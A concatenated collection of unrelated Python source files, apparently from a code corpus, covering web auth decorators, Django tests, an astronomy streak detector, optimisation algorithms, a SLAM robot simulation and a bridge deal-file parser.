return True
def requires(
scopes: typing.Union[str, typing.Sequence[str]],
status_code: int = 403,
redirect: str = None,
) -> typing.Callable:
scopes_list = [scopes] if isinstance(scopes, str) else list(scopes)
def decorator(func: typing.Callable) -> typing.Callable:
sig = inspect.signature(func)
for idx, parameter in enumerate(sig.parameters.values()):
if parameter.name == "request" or parameter.name == "websocket":
type_ = parameter.name
break
else:
raise Exception(
f'No "request" or "websocket" argument on function "{func}"'
)
if type_ == "websocket":
# Handle websocket functions. (Always async)
@functools.wraps(func)
async def websocket_wrapper(
*args: typing.Any, **kwargs: typing.Any
) -> None:
websocket = kwargs.get(
"websocket", args[idx] if idx < len(args) else None
)
assert isinstance(websocket, WebSocket)
if not has_required_scope(websocket, scopes_list):
await websocket.close()
else:
await func(*args, **kwargs)
return websocket_wrapper
elif asyncio.iscoroutinefunction(func):
# Handle async request/response functions.
@functools.wraps(func)
async def async_wrapper(
*args: typing.Any, **kwargs: typing.Any
) -> Response:
request = kwargs.get("request", args[idx] if idx < len(args) else None)
assert isinstance(request, Request)
if not has_required_scope(request, scopes_list):
if redirect is not None:
orig_request_qparam = urlencode({"next": str(request.url)})
next_url = "{redirect_path}?{orig_request}".format(
redirect_path=request.url_for(redirect),
orig_request=orig_request_qparam,
)
return RedirectResponse(url=next_url, status_code=303)
raise HTTPException(status_code=status_code)
return await func(*args, **kwargs)
return async_wrapper
else:
# Handle sync request/response functions.
@functools.wraps(func)
def sync_wrapper(*args: typing.Any, **kwargs: typing.Any) -> Response:
request = kwargs.get("request", args[idx] if idx < len(args) else None)
assert isinstance(request, Request)
if not has_required_scope(request, scopes_list):
if redirect is not None:
orig_request_qparam = urlencode({"next": str(request.url)})
next_url = "{redirect_path}?{orig_request}".format(
redirect_path=request.url_for(redirect),
orig_request=orig_request_qparam,
)
return RedirectResponse(url=next_url, status_code=303)
raise HTTPException(status_code=status_code)
return func(*args, **kwargs)
return sync_wrapper
return decorator
class AuthenticationError(Exception):
pass
class AuthenticationBackend:
async def authenticate(
self, conn: HTTPConnection
) -> typing.Optional[typing.Tuple["AuthCredentials", "BaseUser"]]:
raise NotImplementedError() # pragma: no cover
class AuthCredentials:
def __init__(self, scopes: typing.Sequence[str] = None):
self.scopes = [] if scopes is None else list(scopes)
class BaseUser:
@property
def is_authenticated(self) -> bool:
raise NotImplementedError() # pragma: no cover
@property
def display_name(self) -> str:
raise NotImplementedError() # pragma: no cover
@property
def identity(self) -> str:
raise NotImplementedError() # pragma: no cover
class SimpleUser(BaseUser):
def __init__(self, username: str) -> None:
self.username = username
@property
def is_authenticated(self) -> bool:
return True
@property
def display_name(self) -> str:
return self.username
class UnauthenticatedUser(BaseUser):
@property
def is_authenticated(self) -> bool:
return False
@property
def display_name(self) -> str:
return ""
|
py | 1a4cba842ce07e839932ec0c6f42f8abe22e9937 | from expenses_tracker.expenses.models import Expense
from expenses_tracker.profiles.models import Profile
def get_profile():
profile = Profile.objects.first()
if profile:
expenses = Expense.objects.all()
profile.budget_left = profile.budget - sum(e.price for e in expenses)
return profile
|
py | 1a4cbb16a9f21bf3e8899193624b5b5bef6277c2 | #!/bin/python3
import sys
class Person:
def __init__(self, initialAge):
# Add some more code to run some checks on initialAge
if initialAge < 0:
print("Age is not valid, setting age to 0.")
initialAge = 0
self.age = initialAge
def amIOld(self):
# Do some computations in here and print out the correct statement to the console
if self.age < 13:
print("You are young.")
elif self.age >= 13 and self.age < 18:
print("You are a teenager.")
else:
print("You are old.")
def yearPasses(self):
# Increment the age of the person in here
self.age += 1
t = int(input())
for i in range(0, t):
age = int(input())
p = Person(age)
p.amIOld()
for j in range(0, 3):
p.yearPasses()
p.amIOld()
print("")
|
py | 1a4cbb5095002c7f476feb6b4a194691be08ec65 | from django.contrib.auth import get_user_model
from django.test import TestCase
from django.urls import reverse
from rest_framework import status
from rest_framework.test import APIClient
from core.models import Recipe
from recipe.serializers import RecipeSerializer
RECIPES_URL = reverse('recipe:recipe-list')
def sample_recipe(user, **params):
"""create and return a sample recipe"""
defaults = {
'title': 'Sample Recipe',
'time_minutes': 10,
'price': 5.00
}
defaults.update(params)
return Recipe.objects.create(user=user, **defaults)
class PublicRecipeApiTests(TestCase):
"""test authenticated recipe API"""
def setUp(self):
self.client = APIClient()
def test_auth_required(self):
"""test that authentication is required"""
res = self.client.get(RECIPES_URL)
self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)
class PrivateRecipeApiTest(TestCase):
"""test unauthenticated recipe API access"""
def setUp(self):
self.client = APIClient()
self.user = get_user_model().objects.create_user(
'[email protected]',
'testpass'
)
self.client.force_authenticate(self.user)
def test_retrieve_recipes(self):
"""test retrieving a list of recipes"""
sample_recipe(user=self.user)
sample_recipe(user=self.user)
res = self.client.get(RECIPES_URL)
recipes = Recipe.objects.all().order_by('-id')
serializer = RecipeSerializer(recipes, many=True)
self.assertEqual(res.status_code, status.HTTP_200_OK)
self.assertEqual(res.data, serializer.data)
def test_recipes_limited_to_user(self):
"""test retrieving recipes for user"""
user2 = get_user_model().objects.create_user(
'[email protected]',
'pass123123'
)
sample_recipe(user=user2)
sample_recipe(user=self.user)
res = self.client.get(RECIPES_URL)
recipes = Recipe.objects.filter(user=self.user)
serializer = RecipeSerializer(recipes, many=True)
self.assertEqual(res.status_code, status.HTTP_200_OK)
self.assertEqual(len(res.data), 1)
self.assertEqual(res.data, serializer.data)
|
py | 1a4cbbac5a1a713f40c356e298f9f58150bb0707 | #! /usr/bin/env python
#
# 1440 files took about 38 mins
#
from __future__ import print_function
from tkinter import filedialog
from astride import Streak
import glob
import sys
import shutil
import os
import tkinter as tk
import matplotlib.pyplot as plt
from astropy.io import fits
import numpy as np
def get_arg(argv):
if len(argv) == 1:
return get_int_arg(argv)
else:
return get_cmd_arg(argv)
def mk_diff(f0,f1,diff):
hdu0 = fits.open(f0)
hdu1 = fits.open(f1)
h1 = hdu1[0].header
d0 = hdu0[0].data
d1 = hdu1[0].data
if v:
print("DEBUG mean/std: %s %s %s %g %g" % (f0,f1,diff,d0.mean(),d0.std()))
d2 = d1-d0
fits.writeto(diff,d2,h1,overwrite=True)
def get_cmd_arg(argv,shape=.14,area=120,contour=12):
import argparse as ap
parser = ap.ArgumentParser()
parser.add_argument('-i','--filein', nargs=1,help = 'Directory to fits directory')
parser.add_argument('-o','--fileout', nargs=1,help = 'Directory to detection folder')
parser.add_argument('-s','--shape', nargs=1,help = 'Shape factor')
parser.add_argument('-a','--area', nargs=1,help = 'Minimum area to be considered a streak')
parser.add_argument('-c','--contour',nargs=1,help = 'blah Control value')
args=vars(parser.parse_args())
if args['filein'] != None: file_pathin = (args['filein'][0])
if args['fileout'] != None: file_pathout = (args['fileout'][0])
if args['shape'] != None: shape = float(args['shape'][0])
if args['area'] != None: area = float(args['area'][0])
if args['contour'] != None: contour = float(args['contour'][0])
return (file_pathin,file_pathout,shape,area,contour)
def get_int_arg(argv):
#Creates folder input browsers
winin = tk.Tk()
winin.withdraw()
winin.attributes('-topmost', True)
file_pathin = filedialog.askdirectory(title = "Select input")
#Creates folder output browsers
winout = tk.Tk()
winout.withdraw()
winout.attributes('-topmost', True)
file_pathout = filedialog.askdirectory(title = "Select output")
winout.destroy()
winin.destroy()
#ask user for remaining arguments
print("\nClicking enter will apply default values, entering a value will change it.")
nshape = input("Shape value (1=circle, .1=thin oval) (default = 0.14): ")
if nshape == "":
shape = .14
else:
shape = float(nshape)
narea = input("Minimum area (default = 120): ")
if narea == "":
area = 120
else:
area = float(narea)
ncontour = input("Contour value (higher=only brighter streaks detected)(default = 12): ")
if ncontour == "":
contour = 12
else:
contour = float(ncontour)
ndiff = input("Create difference images (default = False): ")
if ndiff == "":
diff = False
else:
diff = ndiff.lower() == 'true'
nv = input("Enable verbose mode (default = False): ")
if nv == "":
v = False
else:
v = nv.lower() == 'true'
return(file_pathin,file_pathout,shape,area,contour,diff,v)
def do_dir(d,dsum,shape,area,contour,diff,v):
"""
process a directory 'd'
"""
#print("Outputting in directory: " + dsum)
if dsum == None:
dsum = d
else:
if not os.path.exists(dsum):
os.mkdir(dsum)
num = 0
detected = 0
fileCount = 0
zero = 0
# debug/verbose
if v:
print('DEBUG: shape=%g area=%g contour=%g' % (shape,area,contour))
ffs = glob.glob(d+'/*.FIT') + glob.glob(d+'/*.fit') + \
glob.glob(d+'/*.FTS') + glob.glob(d+'/*.fts') + \
glob.glob(d+'/*.FITS') + glob.glob(d+'/*.fits')
ffs = list(set(ffs)) # needed for dos
ffs.sort() # on linux wasn't sorted, on dos it was
f = open(dsum+'/summary.txt','w') # Creates summary text file
f.write('Streaks found in files: \n') #Creates first line for summary file
print('Processing %d files' % len(ffs))
for ff in ffs:
# creates directory one directory back from the folder which contains fits files
num = do_one(ff,dsum+'/'+ff[ff.rfind(os.sep)+1:ff.rfind('.')],shape,area,contour)
if num == 0:
zero += 1
else:
detected += int(num) #Counter of how many streaks detected
f.write(ff + '\n')
fileCount += 1 #Counter for how many files analyzed
# Produce and write summary file
f.write('\n' 'Files analyzed: ' + str(fileCount)+ '\n' )
f.write('Streaks detected: ' + str(detected) + '\n' )
f.write('Files with no detections: ' + str(zero) + '\n\n\n')
if diff:
num = 0
detected = 0
fileCount = 0
zero = 0
dfs = []
print('Computing %d differences' % (len(ffs)-1))
for i in range(len(ffs)-1):
dfs.append(ffs[i+1]+'.diff')
mk_diff(ffs[i],ffs[i+1],dfs[i])
print('Processing %d files' % (len(ffs)-1))
for df in dfs:
num = do_one(df,dsum+'/'+df[df.rfind(os.sep)+1:df.find('.')]+'DIFF',shape,area,contour)
if num == 0:
zero += 1
else:
detected += int(num) #Counter of how many streaks detected
f.write(df + '\n')
fileCount += 1 #Counter for how many files analyzed
# Produce and write summary file
f.write('\n' 'Files analyzed: ' + str(fileCount)+ '\n' )
f.write('Streaks detected: ' + str(detected) + '\n' )
f.write('Files with no detections: ' + str(zero) + '\n')
f.close()
else:
f.close()
def do_one(ff,output_path=None,shape=None,area=None,contour=None):
"""
process a directory one fits-file (ff)
"""
# Read a fits image and create a Streak instance.
streak = Streak(ff,output_path=output_path)
# Detect streaks.
# streak.shape_cut = .14
# streak.area_cut = 120
# streak.contour_threshold = 12
#Customization of values
streak.shape_cut = shape
streak.area_cut = area
streak.contour_threshold = contour
streak.detect()
# Write outputs and plot figures.
streak.write_outputs()
streak.plot_figures()
streakfile=output_path+"/streaks.txt"
fp=open(streakfile)
lines=fp.readlines()
fp.close()
#print("streaks found %d" % (len(lines)-1))
#print("%d " % (len(lines)-1))
n = len(lines)-1
if n == 0:
sys.stdout.write('.')
elif n < 10:
sys.stdout.write('%d' % n)
else:
sys.stdout.write('*')
sys.stdout.flush()
#Delete/move files
#if n == 0:
# shutil.rmtree(output_path)
return int(n)
#def do_one(ff,output_path=None,shape=None,area=None,contour=None): BACKUP
"""
process a directory one fits-file (ff)
"""
# Read a fits image and create a Streak instance.
streak = Streak(ff,output_path=output_path)
# Detect streaks.
# streak.shape_cut = .14
# streak.area_cut = 120
# streak.contour_threshold = 12
#Customization of values
streak.shape_cut = shape
streak.area_cut = area
streak.contour_threshold = contour
streak.detect()
# Write outputs and plot figures.
streak.write_outputs()
streak.plot_figures()
streakfile=output_path+"/streaks.txt"
fp=open(streakfile)
lines=fp.readlines()
fp.close()
#print("streaks found %d" % (len(lines)-1))
#print("%d " % (len(lines)-1))
n = len(lines)-1
if n == 0:
sys.stdout.write('.')
elif n < 10:
sys.stdout.write('%d' % n)
else:
sys.stdout.write('*')
sys.stdout.flush()
#Delete/move files
if n == 0:
shutil.rmtree(output_path)
return int(n)
#do_one('20151108_MD01_raw/IMG00681.FIT')
#do_dir('20151108_MD01_raw')
if __name__ == '__main__':
(file_pathin,file_pathout,shape,area,contour,diff,v) = get_arg(sys.argv)
#Prints selected folders
print("Running in data directory %s" % file_pathin)
print("Outputting in data directory %s" % file_pathout)
do_dir(file_pathin,file_pathout,shape,area,contour,diff,v)
#print("Running in data directory %s" % sys.argv[1])
#do_dir(sys.argv[1],sys.argv[2])
|
py | 1a4cbc73a85cac109ab4b03aaec1536a52c2a0df | import json
import logging
from django.utils.functional import wraps
from morango.sync.context import LocalSessionContext
from kolibri.core.auth.constants.morango_sync import ScopeDefinitions
from kolibri.core.auth.hooks import FacilityDataSyncHook
logger = logging.getLogger(__name__)
def _get_our_cert(context):
ss = context.sync_session
return ss.server_certificate if ss.is_server else ss.client_certificate
def _get_their_cert(context):
ss = context.sync_session
return ss.client_certificate if ss.is_server else ss.server_certificate
def this_side_using_single_user_cert(context):
return _get_our_cert(context).scope_definition_id == ScopeDefinitions.SINGLE_USER
def other_side_using_single_user_cert(context):
return _get_their_cert(context).scope_definition_id == ScopeDefinitions.SINGLE_USER
def get_user_id_for_single_user_sync(context):
if other_side_using_single_user_cert(context):
cert = _get_their_cert(context)
elif this_side_using_single_user_cert(context):
cert = _get_our_cert(context)
else:
return None
return json.loads(cert.scope_params)["user_id"]
def get_other_side_kolibri_version(context):
"""
:type context: morango.sync.context.LocalSessionContext
:return: A str or None
"""
# get the instance info for the other instance
instance_info = context.sync_session.server_instance_data
if context.is_server:
instance_info = context.sync_session.client_instance_data
# get the kolibri version, which is defined in
# kolibri.core.auth.constants.morango_sync:CUSTOM_INSTANCE_INFO
return instance_info.get("kolibri")
def _extract_kwargs_from_context(context):
return {
"dataset_id": _get_our_cert(context).get_root().id,
"local_is_single_user": this_side_using_single_user_cert(context),
"remote_is_single_user": other_side_using_single_user_cert(context),
"single_user_id": get_user_id_for_single_user_sync(context),
"context": context,
}
def _local_event_handler(func):
@wraps(func)
def wrapper(context):
if isinstance(context, LocalSessionContext):
kwargs = _extract_kwargs_from_context(context)
return func(**kwargs)
return wrapper
@_local_event_handler
def _pre_transfer_handler(**kwargs):
for hook in FacilityDataSyncHook.registered_hooks:
# we catch all errors because as a rule of thumb, we don't want hooks to fail
try:
hook.pre_transfer(**kwargs)
except Exception as e:
logger.error(
"{}.pre_transfer hook failed".format(hook.__class__.__name__),
exc_info=e,
)
@_local_event_handler
def _post_transfer_handler(**kwargs):
for hook in FacilityDataSyncHook.registered_hooks:
# we catch all errors because as a rule of thumb, we don't want hooks to fail
try:
hook.post_transfer(**kwargs)
except Exception as e:
logger.error(
"{}.post_transfer hook failed".format(hook.__class__.__name__),
exc_info=e,
)
def register_sync_event_handlers(session_controller):
session_controller.signals.initializing.completed.connect(_pre_transfer_handler)
session_controller.signals.cleanup.completed.connect(_post_transfer_handler)
|
py | 1a4cbec08838b206ff187aca46c4d73d4f535d6f | # Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import sys
from libcloud.compute.drivers.exoscale import ExoscaleNodeDriver
from libcloud.test.compute.test_cloudstack import CloudStackCommonTestCase
from libcloud.test import unittest
class ExoscaleNodeDriverTestCase(CloudStackCommonTestCase, unittest.TestCase):
driver_klass = ExoscaleNodeDriver
if __name__ == '__main__':
sys.exit(unittest.main())
|
py | 1a4cbfa53ea51c5e07121c148d256ac58e9ffdf1 |
class Message(object):
code=0
message=''
body=''
title=''
level='info' # debug, info, warn(alert), error
redirect_url='#' # after user click ok/cancel, jump to redirect_url
def __init__(self, message, code=0, message_title='', level='info', message_type='info'):
self.message=message
self.body=message
self.title=message_title
self.code=code
self.level=(message_type or level)
|
py | 1a4cc075270615bf19ac0f4ace0738625d6b7642 | import streamlit as st
import json
import pandas as pd
import gspread
import tweepy
import time
import os
from gspread_dataframe import get_as_dataframe, set_with_dataframe
import toml
from requests_oauthlib import OAuth1Session
from urllib.parse import parse_qsl
sectets = toml.load('settings.toml')
#-----------json--uploder---
if not 'KEY_FILE_PATH' in st.session_state:
st.session_state['KEY_FILE_PATH'] = 'sheet_secret.json'
st.write('file path: ' + st.session_state['KEY_FILE_PATH'])
uploaded_file = st.file_uploader("uplode spreadsheet api key json file")
if uploaded_file is not None:
# To read file as bytes:
json_str = uploaded_file.getvalue().decode('utf-8')
with open(st.session_state['KEY_FILE_PATH'], 'w') as json_file:
json.dump(json.loads(json_str), json_file, indent=2)
st.write(json_str)
#-----------json--uploder---
#--------sheet-api-------
st.title('sheet-api')
key_file_path = sectets['SPREAD_SHEET']['KEY_FILE_PATH']
sheet_key = sectets['SPREAD_SHEET']['SHEET_KEY']
sheet_title = sectets['SPREAD_SHEET']['TWITTER_SHEET']
get_sheet_button = st.button("get account data")
if get_sheet_button:
gc = gspread.service_account(key_file_path)
sh = gc.open_by_key(sheet_key)
wks = sh.worksheet(sheet_title)
df = get_as_dataframe(wks, skiprows=0, header=0)
st.dataframe(df)
#--------sheet-api-------
|
py | 1a4cc0f2953e4278fff2eee0c3cc81e9ff8d35c1 | import warnings
from . import DealFormat
from .. import dto
class BRIFormat(DealFormat):
number_warning = '.bri file format assumes consequent deal numbers from 1'
@property
def suffix(self):
return '.bri'
def parse_content(self, content):
warnings.warn(self.number_warning)
dealset = []
number = 1
while True:
deal_str = content.read(128).strip()
if len(deal_str) > 0:
if len(deal_str) < 78:
warning.warn('truncated .bri input: %s' % (deal_str))
break
else:
deal_obj = dto.Deal()
deal_obj.number = number
deal_obj.dealer = deal_obj.get_dealer(number)
deal_obj.vulnerable = deal_obj.get_vulnerability(number)
deal_obj.hands = self.parse_hands(deal_str)
dealset.append(deal_obj)
number += 1
else:
break
return dealset
def parse_hands(self, deal_str):
deal_obj = dto.Deal()
try:
deal = [int(deal_str[i*2:(i+1)*2], 10) for i in range(0, 39)]
if max(deal) > 52:
raise RuntimeError(
'invalid card in .bri file: %d' % (max(deal)))
for hand in range(0, 3):
for card in deal[13*hand:13*(hand+1)]:
card = card - 1
suit = card / 13
card = card % 13
deal_obj.hands[hand][suit].append(self.cards[card])
deal_obj.fill_west()
except ValueError:
raise RuntimeError('invalid card in .bri file: %s' % (deal_str))
return deal_obj.hands
def output_content(self, out_file, dealset):
warnings.warn(self.number_warning)
for deal in dealset:
deal_str = self.single_deal_output(deal)
deal_str += ' ' * 32
deal_str += chr(0) * 18
out_file.write(deal_str)
def single_deal_output(self, deal):
deal_str = ''
for hand in deal.hands[0:3]:
for i, suit in enumerate(hand):
for card in suit:
try:
deal_str += '%02d' % (self.cards.index(card) + 13*i + 1)
except ValueError:
raise RuntimeError(
'invalid card character: %s in board %d' % (card, deal.number))
return deal_str
|
py | 1a4cc13a8d6f6b211e7e829f4a9366cbf217d862 | import time
import cache
import vkapi
from log import datetime_format
def main(a, args):
dialogs = a.messages.getDialogs(unread=1)['items']
messages = {}
users = []
chats = []
for msg in dialogs:
def cb(req, resp):
messages[req['peer_id']] = resp['items'][::-1]
a.messages.getHistory.delayed(peer_id=vkapi.utils.getSender(msg['message']), count=min(msg['unread'], 10)).callback(cb)
if 'chat_id' in msg['message']:
chats.append(msg['message']['chat_id'])
else:
users.append(msg['message']['user_id'])
uc = cache.UserCache(a, 'online')
cc = cache.ConfCache(a)
uc.load(users)
cc.load(chats)
a.sync()
if dialogs:
print('-------------------------\n')
else:
print('Nothing here')
for msg in dialogs:
m = msg['message']
if 'chat_id' in m:
print('Chat "{}" ({}): {}'.format(cc[m['chat_id']]['title'], m['chat_id'], msg['unread']))
else:
print('{} {} ({}){}: {}'.format(uc[m['user_id']]['first_name'], uc[m['user_id']]['last_name'], m['user_id'],
', online' if uc[m['user_id']]['online'] else '', msg['unread']))
print()
for i in messages[vkapi.utils.getSender(msg['message'])]:
print('[{}] {}'.format(time.strftime(datetime_format, time.localtime(i['date'])), i['body']))
print()
print('-------------------------\n')
if args:
print(flush=True)
mr = vkapi.MessageReceiver(a)
while True:
time.sleep(1)
for m in mr.getMessages():
if 'chat_id' in m:
print('Chat "{}" ({}), {} {}:'.format(cc[m['chat_id']]['title'], m['chat_id'],
uc[m['user_id']]['first_name'], uc[m['user_id']]['last_name']))
else:
print('{} {} ({}):'.format(uc[m['user_id']]['first_name'], uc[m['user_id']]['last_name'], m['user_id']))
print('[{}] {}'.format(time.strftime(datetime_format, time.localtime(m['date'])), m['body']))
print(flush=True)
|
py | 1a4cc307410909acf0ab36b018b7a114a2cd7e58 | # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import warnings
import nevergrad.common.typing as tp
# import numpy as np
from nevergrad.parametrization import parameter as p
from nevergrad.optimization.utils import UidQueue
from . import base
from .multiobjective import nsga2 as nsga2
class _EvolutionStrategy(base.Optimizer):
"""Experimental evolution-strategy-like algorithm
The behavior is going to evolve
"""
def __init__(
self,
parametrization: base.IntOrParameter,
budget: tp.Optional[int] = None,
num_workers: int = 1,
*,
config: tp.Optional["EvolutionStrategy"] = None,
) -> None:
if budget is not None and budget < 60:
warnings.warn(
"ES algorithms are inefficient with budget < 60", base.errors.InefficientSettingsWarning
)
super().__init__(parametrization, budget=budget, num_workers=num_workers)
self._population: tp.Dict[str, p.Parameter] = {}
self._uid_queue = UidQueue()
self._waiting: tp.List[p.Parameter] = []
# configuration
self._config = EvolutionStrategy() if config is None else config
self._rank_method: tp.Any = None # TODO better typing (eventually)
if self._config.ranker == "nsga2":
self._rank_method = nsga2.rank
elif self._config.ranker != "simple":
raise NotImplementedError(f"Unknown ranker {self._config.ranker}")
self._no_hypervolume = self._config.offsprings is None
def _internal_ask_candidate(self) -> p.Parameter:
if self.num_ask < self._config.popsize:
param = self.parametrization.sample()
assert param.uid == param.heritage["lineage"] # this is an assumption used below
self._uid_queue.asked.add(param.uid)
self._population[param.uid] = param
return param
uid = self._uid_queue.ask()
param = self._population[uid].spawn_child()
param.mutate()
ratio = self._config.recombination_ratio
if ratio and self._rng.rand() < ratio:
selected = self._rng.choice(list(self._population))
param.recombine(self._population[selected])
return param
def _internal_tell_candidate(self, candidate: p.Parameter, loss: float) -> None:
if self._config.offsprings is None:
uid = candidate.heritage["lineage"]
self._uid_queue.tell(uid)
parent_value = float("inf") if uid not in self._population else base._loss(self._population[uid])
if loss < parent_value:
self._population[uid] = candidate
else:
no_parent = next(iter(candidate.parents_uids), "#no_parent#") not in self._population
if no_parent and len(self._population) < self._config.popsize:
self._population[candidate.uid] = candidate
self._uid_queue.tell(candidate.uid)
else:
self._waiting.append(candidate)
if len(self._waiting) >= self._config.offsprings:
self._select()
def _select(self) -> None:
choices = self._waiting + ([] if self._config.only_offsprings else list(self._population.values()))
if self._rank_method is not None and self.num_objectives > 1:
choices_rank = self._rank_method(choices, n_selected=self._config.popsize)
choices = [x for x in choices if x.uid in choices_rank]
else:
choices.sort(key=base._loss)
self._population = {x.uid: x for x in choices[: self._config.popsize]}
self._uid_queue.clear()
self._waiting.clear()
for uid in self._population:
self._uid_queue.tell(uid)
class EvolutionStrategy(base.ConfiguredOptimizer):
"""Experimental evolution-strategy-like algorithm
The API is going to evolve
Parameters
----------
recombination_ratio: float
probability of using a recombination (after the mutation) for generating new offsprings
popsize: int
population size of the parents (lambda)
offsprings: int
number of generated offsprings (mu)
only_offsprings: bool
use only offsprings for the new generation if True (True: lambda,mu, False: lambda+mu)
ranker: str
ranker for the multiobjective case (defaults to NSGA2)
"""
# pylint: disable=unused-argument
def __init__(
self,
*,
recombination_ratio: float = 0,
popsize: int = 40,
offsprings: tp.Optional[int] = None,
only_offsprings: bool = False,
ranker: str = "nsga2",
) -> None:
super().__init__(_EvolutionStrategy, locals(), as_config=True)
assert offsprings is None or not only_offsprings or offsprings > popsize
if only_offsprings:
assert offsprings is not None, "only_offsprings only work if offsprings is not None (non-DE mode)"
assert 0 <= recombination_ratio <= 1
assert ranker in ["simple", "nsga2"]
self.recombination_ratio = recombination_ratio
self.popsize = popsize
self.offsprings = offsprings
self.only_offsprings = only_offsprings
self.ranker = ranker
RecES = EvolutionStrategy(recombination_ratio=1, only_offsprings=True, offsprings=60).set_name(
"RecES", register=True
)
RecMixES = EvolutionStrategy(recombination_ratio=1, only_offsprings=False, offsprings=20).set_name(
"RecMixES", register=True
)
RecMutDE = EvolutionStrategy(recombination_ratio=1, only_offsprings=False, offsprings=None).set_name(
"RecMutDE", register=True
)
ES = EvolutionStrategy(recombination_ratio=0, only_offsprings=True, offsprings=60).set_name(
"ES", register=True
)
MixES = EvolutionStrategy(recombination_ratio=0, only_offsprings=False, offsprings=20).set_name(
"MixES", register=True
)
MutDE = EvolutionStrategy(recombination_ratio=0, only_offsprings=False, offsprings=None).set_name(
"MutDE", register=True
)
NonNSGAIIES = EvolutionStrategy(
recombination_ratio=0, only_offsprings=True, offsprings=60, ranker="simple"
).set_name("NonNSGAIIES", register=True)
|
py | 1a4cc7989a3d2c434df58baacbf26aac26d51052 | from math import *
import random
### ------------------------------------- ###
# Below, is the robot class
#
# This robot lives in 2D, x-y space, and its motion is
# pointed in a random direction, initially.
# It moves in a straight line until it comes close to a wall
# at which point it stops.
#
# For measurements, it senses the x- and y-distance
# to landmarks. This is different from range and bearing as
# commonly studied in the literature, but this makes it much
# easier to implement the essentials of SLAM without
# cluttered math.
#
class robot:
# --------
# init:
# creates a robot with the specified parameters and initializes
# the location (self.x, self.y) to the center of the world
#
def __init__(self, world_size = 100.0, measurement_range = 30.0,
motion_noise = 1.0, measurement_noise = 1.0):
self.measurement_noise = 0.0
self.world_size = world_size
self.measurement_range = measurement_range
self.x = world_size / 2.0
self.y = world_size / 2.0
self.motion_noise = motion_noise
self.measurement_noise = measurement_noise
self.landmarks = []
self.num_landmarks = 0
# returns a positive, random float
def rand(self):
return random.random() * 2.0 - 1.0
# --------
# move: attempts to move robot by dx, dy. If outside world
# boundary, then the move does nothing and instead returns failure
#
def move(self, dx, dy):
x = self.x + dx + self.rand() * self.motion_noise
y = self.y + dy + self.rand() * self.motion_noise
if x < 0.0 or x > self.world_size or y < 0.0 or y > self.world_size:
return False
else:
self.x = x
self.y = y
return True
# --------
# sense: returns x- and y- distances to landmarks within visibility range
# because not all landmarks may be in this range, the list of measurements
# is of variable length. Set measurement_range to -1 if you want all
# landmarks to be visible at all times
#
## TODO: paste your complete the sense function, here
## make sure the indentation of the code is correct
def sense(self):
''' This function does not take in any parameters, instead it references internal variables
(such as self.landamrks) to measure the distance between the robot and any landmarks
that the robot can see (that are within its measurement range).
This function returns a list of landmark indices, and the measured distances (dx, dy)
between the robot's position and said landmarks.
This function should account for measurement_noise and measurement_range.
One item in the returned list should be in the form: [landmark_index, dx, dy].
'''
measurements = []
#import pdb; pdb.set_trace()
# iterate through all of the landmarks in a world
for i, landmark in enumerate(self.landmarks):
# For each landmark
# 1. compute dx and dy, the distances between the robot and the landmark
# 2. account for measurement noise by *adding* a noise component to dx and dy
# - The noise component should be a random value between [-1.0, 1.0)*measurement_noise
# - Feel free to use the function self.rand() to help calculate this noise component
# - It may help to reference the `move` function for noise calculation
# 3. If either of the distances, dx or dy, fall outside of the internal var, measurement_range
# then we cannot record them; if they do fall in the range, then add them to the measurements list
# as list.append([index, dx, dy]), this format is important for data creation done later
dx = fabs(self.x - landmark[0]) + self.rand() * self.measurement_noise
dy = fabs(self.y - landmark[1]) + self.rand() * self.measurement_noise
if dx < self.measurement_range and dy < self.measurement_range:
measurements.append([i, dx, dy])
# return the final, complete list of measurements
return measurements
# --------
# make_landmarks:
# make random landmarks located in the world
#
def make_landmarks(self, num_landmarks):
self.landmarks = []
for i in range(num_landmarks):
self.landmarks.append([round(random.random() * self.world_size),
round(random.random() * self.world_size)])
self.num_landmarks = num_landmarks
# called when print(robot) is called; prints the robot's location
def __repr__(self):
return 'Robot: [x=%.5f y=%.5f]' % (self.x, self.y)
####### END robot class ####### |
py | 1a4cc7c9a27d1b56c40393008fed845c39321bb9 |
import unittest
import random
import threading
import System
from System.IO import Directory
from System.IO import Path
from System.Collections.Generic import Dictionary
from System.Collections.Generic import SortedDictionary
from System.Collections.Generic import SortedList
import clr
clr.AddReferenceByPartialName('Esent.Collections')
from Microsoft.Isam.Esent.Collections.Generic import PersistentDictionary
def deleteDirectory(directory):
if Directory.Exists(directory):
Directory.Delete(directory, True)
class SingleDictionaryFixture(unittest.TestCase):
def setUp(self):
self._dataDirectory = 'SingleDictionaryFixture'
self._deleteDataDirectory()
self._dict = PersistentDictionary[System.String,System.String](self._dataDirectory)
def tearDown(self):
self._dict.Dispose()
self._deleteDataDirectory()
def _deleteDataDirectory(self):
deleteDirectory(self._dataDirectory)
def testInsertAndRetrieveRecord(self):
self._dict['key'] = 'value'
self.assertEqual(self._dict['key'], 'value')
def testLargeKey(self):
# esent may truncate the key, but we should be able to set all this data
key = 'K' * 1024*1024
self._dict[key] = 'value'
self.assertEqual(self._dict[key], 'value')
def testLargeValue(self):
value = 'V' * 1024*1024
self._dict['bigstuff'] = value
self.assertEqual(self._dict['bigstuff'], value)
def testNullKey(self):
self._dict[None] = 'value'
self.assertEqual(self._dict[None], 'value')
def testNullValue(self):
self._dict['key'] = None
self.assertEqual(self._dict['key'], None)
def testOverwriteRecord(self):
self._dict['key'] = 'value'
self._dict['key'] = 'newvalue'
self.assertEqual(self._dict['key'], 'newvalue')
def testContainsKeyReturnsFalseWhenKeyNotPresent(self):
self.assertEqual(False, self._dict.ContainsKey('key'))
def testContainsKeyReturnsTrueWhenKeyIsPresent(self):
self._dict['key'] = 'value'
self.assertEqual(True, self._dict.ContainsKey('key'))
def testRemoveRemovesKey(self):
self._dict['key'] = 'value'
self.assertEqual(True, self._dict.Remove('key'))
